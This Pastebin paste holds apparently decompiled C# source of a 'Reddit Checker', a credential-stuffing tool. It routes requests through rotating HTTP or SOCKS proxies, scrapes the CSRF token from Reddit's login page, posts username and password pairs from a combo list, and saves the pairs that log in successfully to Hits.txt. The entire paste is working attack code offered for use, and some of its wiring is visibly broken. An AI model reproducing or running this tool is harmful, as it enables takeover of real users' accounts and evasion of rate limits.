Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- private static void initialGet(string USERNAME, string PASSWORD, string PROXY)
- {
- try
- {
- using (HttpRequest httpRequest = new HttpRequest())
- {
- switch (Program.PROXYTYPE)
- {
- case 1:
- httpRequest.Proxy = HttpProxyClient.Parse(PROXY);
- break;
- case 2:
- httpRequest.Proxy = Socks4ProxyClient.Parse(PROXY);
- break;
- case 3:
- httpRequest.Proxy = Socks5ProxyClient.Parse(PROXY);
- break;
- }
- httpRequest.Cookies = new CookieStorage(false, null);
- httpRequest.KeepAlive = true;
- httpRequest.UserAgent = Http.ChromeUserAgent();
- httpRequest.IgnoreProtocolErrors = true;
- string text = "https://www.reddit.com/login";
- HttpResponse httpResponse = httpRequest.Get(text, null);
- string input = httpResponse.ToString();
- string pattern = "csrf_token\" value=\"(.*?)\"";
- string value = Regex.Match(input, pattern).Groups[1].Value;
- }
- Colorful.Console.Title = string.Concat(new object[]
- {
- "Reddit Checker | By Tis | Checked: ",
- Program.Checked,
- "/",
- Program.COMBOS.Count,
- " Hits: ",
- Program.HITS,
- " Invalid: ",
- Program.Invalid,
- " Proxy Errors: ",
- Program.PROXYERRORS
- });
- }
- catch (Exception)
- {
- Program.PROXYERRORS++;
- Program.init(USERNAME, PASSWORD);
- }
- }
- // Token: 0x06000007 RID: 7 RVA: 0x0000279C File Offset: 0x0000099C
- private static void loginPost(string USERNAME, string PASSWORD, string PROXY, string value,string CSRF, CookieStorage httpRequestCookies)
- {
- try
- {
- using (HttpRequest httpRequest = new HttpRequest())
- {
- httpRequest.KeepAlive = true;
- httpRequest.UserAgent = Http.ChromeUserAgent();
- httpRequest.IgnoreProtocolErrors = true;
- switch (Program.PROXYTYPE)
- {
- case 1:
- httpRequest.Proxy = HttpProxyClient.Parse(PROXY);
- break;
- case 2:
- httpRequest.Proxy = Socks4ProxyClient.Parse(PROXY);
- break;
- case 3:
- httpRequest.Proxy = Socks5ProxyClient.Parse(PROXY);
- break;
- }
- httpRequest.ConnectTimeout = 5000;
- httpRequest.Cookies = new CookieStorage(false, null);
- string text = "https://www.reddit.com/login";
- httpRequest.AddHeader("Origin", "https://www.reddit.com");
- string text2 = "application/x-www-form-urlencoded";
- httpRequest.Referer = "https://www.reddit.com/login";
- string text3 = string.Format("csrf_token={0}&otp=&password={1}&dest=https%3A%2F%2Fwww.reddit.com&username={2}", CSRF, PASSWORD, USERNAME);
- HttpResponse httpResponse = httpRequest.Post(text, text3, text2);
- string text4 = httpResponse.ToString();
- bool flag = text4.Contains("{\"dest\": \"https://www.reddit.com\"}");
- if (flag)
- {
- Console.WriteLine(string.Format("{0}:{1}", PASSWORD, USERNAME));
- Program.HITS++;
- using (StreamWriter streamWriter = new StreamWriter("Hits.txt", true))
- {
- streamWriter.WriteLine(string.Format("{0}:{1}", USERNAME, PASSWORD),Color.LimeGreen);
- }
- }
- else
- {
- Console.WriteLine(string.Format("{0}:{1}", PASSWORD, USERNAME),Color.Red);
- }
- }
- }
- catch (Exception)
- {
- Program.PROXYERRORS++;
- Program.init(USERNAME, PASSWORD);
- }
- }
Add Comment
Please, Sign In to add comment